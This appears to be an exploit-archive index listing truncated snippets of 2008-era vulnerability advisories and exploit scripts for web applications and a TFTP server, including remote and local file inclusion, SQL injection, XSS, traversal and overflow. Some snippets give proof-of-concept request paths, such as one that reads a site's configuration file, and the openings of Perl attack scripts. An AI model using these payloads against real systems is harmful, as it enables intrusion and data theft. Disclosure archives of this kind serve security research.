Pet Grooming Management System 2.0 - Arbitrary Add Admin

Pet Grooming Management System 2.0 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+- Pet Grooming Management System ; print "\nEnter Usernamecreate your admin username: "; chompmy $user=; print "\nEnter Passwordcreate your admin password: "; chompmy $pass=; my $ua =...

BigACE 2.4 - Multiple Remote File Inclusions

BigACE 2.4 - Multiple Remote File Inclusions / \ @ /|\ /|\ |-| / | \ /|/\ / | \ @ | |--------------------/--|-voV---|'/--Vov-|-----------------------|-| |-| '^ o o '^ | | | | \Y/' |-| |-| | | | | -=ShAd0w-CrEw=- |-| |-| | | | | |-| ||| | @ l /\ / \ /\ l |-| l / V \ \ V \ l @ l/ \I \ /'...

Battle.net Clan Script 1.5.x - SQL Injection

!/usr/bin/perl -w download script : http://sourceforge.net/project/showfiles.php?groupid=142506&packageid=156487 Battle.net Clan Script div Members Rank Member Name Email Date Joined ?phpmysqlselectdb$mysqldb or diemysqlerror; $sql = 'SELECT bcsmembers.id, bcsmembers.name, bcsmembers.email,...

Phoenix View CMS <= Pre Alpha2 (SQL/LFI/XSS) Multiple Vulnerabilities

No description provided by source. Phoenix View CMS = Pre Alpha2 Multiple Vulnerabilities LFISQLIXSS Found by : tw8 Date : 8.05.2008 Website && Forum : http://rstzone.org && http://rstzone.org/forum/ Bug type : LFI, SQLI & XSS Affected software description: Application : Phoenix View CMS Version ...

TFTP Server for Windows 1.4 ST Remote BSS Overflow Exploit

No description provided by source. !/usr/bin/perl TFTPServer SP v1.4 for Windows remote .bss overflow exploit The Service or the RunStandAlone version. URL: http://sourceforge.net/projects/tftp-server/ Author: tix or tixxDZ [email protected] Date: 07/05/2008...

Phoenix View CMS <= Pre Alpha2 (SQL/LFI/XSS) Multiple Vulnerabilities

Exploit for unknown platform in category web applications ===================================================================== Phoenix View CMS = Pre Alpha2 SQL/LFI/XSS Multiple Vulnerabilities ===================================================================== Phoenix View CMS = Pre Alpha2...

PostNuke Module pnEncyclopedia &lt;= 0.2.0 SQL Injection Vulnerability

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV90$2008 ----------------------------------------------------------------------------------------- ECHOADV90$2008 PostNuke Module pnEncyclopedia = 0.2.0 id Blind Sql Injection...

interact-rfi.txt

-========================================== ViVa Islam + YeMeN ====================================- Name : interact 2.4.1 Multiple Remote RFI Vulnerabiliy Download From : http://puzzle.dl.sourceforge.net/sourceforge/cce-interact/interact-2-4-1.tar.gz Found By : RoMaNcYxHaCkEr RoMaNTiC-TeaM...

oxyproject-exec.txt

OxYProject 0.85 edithistory.php Remote Code Execution Vulnerability Script : http://puzzle.dl.sourceforge.net/sourceforge/oxyproject/OxYBox085uns.zip Code Vuln : Ln 24 include'oxycfg.php'; // // Editing the Chat History // $editfile = $file'ChatHistory'; $fh = fopen$editfile, 'a' or die"Error...

OxYProject 0.85 (edithistory.php) Remote Code Execution Vulnerability

Exploit for unknown platform in category web applications ===================================================================== OxYProject 0.85 edithistory.php Remote Code Execution Vulnerability ===================================================================== OxYProject 0.85 edithistory.php...

runcmsmyartcles-sql.txt

Cr@zyKing / [email protected] ' ¿? seLçuK abim1z qururumuzsun altın kemer Trabzonun !.. K1 World Champions Selçuk Aydın The Best Of , Number One ; RunCms MyArticles Module 0.6 Beta-1 Remote Sql İnj. Down :...

RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection

RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection Cr@zyKing / [email protected] ' ¿? seLçuK abim1z qururumuzsun altın kemer Trabzonun !.. K1 World Champions Selçuk Aydın The Best Of , Number One ; RunCms MyArticles Module 0.6 Beta-1 Remote Sql Ä°nj. Down :...

RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection

Cr@zyKing / [email protected] ' ¿? seLçuK abim1z qururumuzsun altın kemer Trabzonun !.. K1 World Champions Selçuk Aydın The Best Of , Number One ; RunCms MyArticles Module 0.6 Beta-1 Remote Sql Ä°nj. Down :...

Firefly媒体服务器畸形Content-Length字段堆溢出漏洞

BUGTRAQ ID: 28860 CVECAN ID: CVE-2008-1771 Firefly是Roku SoundBridge和iTunes所使用的开源媒体服务器。 Firefly的src/webserver.c文件的wsgetpostvars函数中存在堆溢出漏洞，如果远程攻击者向服务区发送了带有负数Content-Length值的POST请求的话就可以触发这个溢出，导致拒绝服务或执行任意指令。 以下是src/webserver.c文件中的漏洞代码： 707 int wsgetpostvarsWSCONNINFO pwsc 708 char contentlength; 709...

wikepage-xss.txt

Wikepage Wiki v.2007-2 Cross-Site Scripting Author: Gerendi Sandor Attila Date: April 09, 2008 Package: Wikepage Wiki Product homepage: http://wikepage.org/ Versions Affected: v.2007-2 Other versions may also be affected Severity: XSS Input passed to "wiki" in "index.php" is not properly sanitise...

dragoon-rfi.txt

-========================================== ViVa YeMeN ====================================- Name : Dragoon 0.1 Remote File Include Vulnerabilitiy Download From : http://sourceforge.net/project/showfiles.php?groupid=118780 Found By : RoMaNcYxHaCkEr RoMaNTiC-TeaM BlackxHat , BlackBox , aLwHEeD Hom...

mole-disclose.txt

Mole v2.1.0 viewsource.php Remote File Disclosure Vulnerability Script : http://sourceforge.net/project/showfiles.php?groupid=164171 Vuln Code : Mole: Template viewer POC : /mole210/viewsource.php?dirn=include/config.inc.php /mole210/viewsource.php?fname=include/config.inc.php...

wikepageopus-traverse.txt

...:::::Wikepage Opus 13 2007.2 Directory Traversal Vulnerbility ::::.... AUTHOR : Virangar Security Team A.Nosrati Email : [email protected] or [email protected] or [email protected] ICQ: 445117030 Script : Wikepage Opus 13 2007.2 Type Of Bug : Directory Traversa Virangar Securit...

Mole 2.1.0 (viewsource.php) Remote File Disclosure Vulnerability

No description provided by source. Mole v2.1.0 viewsource.php Remote File Disclosure Vulnerability Script : http://sourceforge.net/project/showfiles.php?groupid=164171 Vuln Code : html head titleMole: Template viewer/title meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /he...

dragoon-lfi.txt

Script Name :Dragoon CMS Download : http://sourceforge.net/project/showfiles.php?groupid=118780 Error : $cal'lng'=$GET'lng'; include'../lang/'.$cal'lng'.'.php'; Vul Code : http://site/path/forum/kietu/libs/calendrier.php?callng=LFI...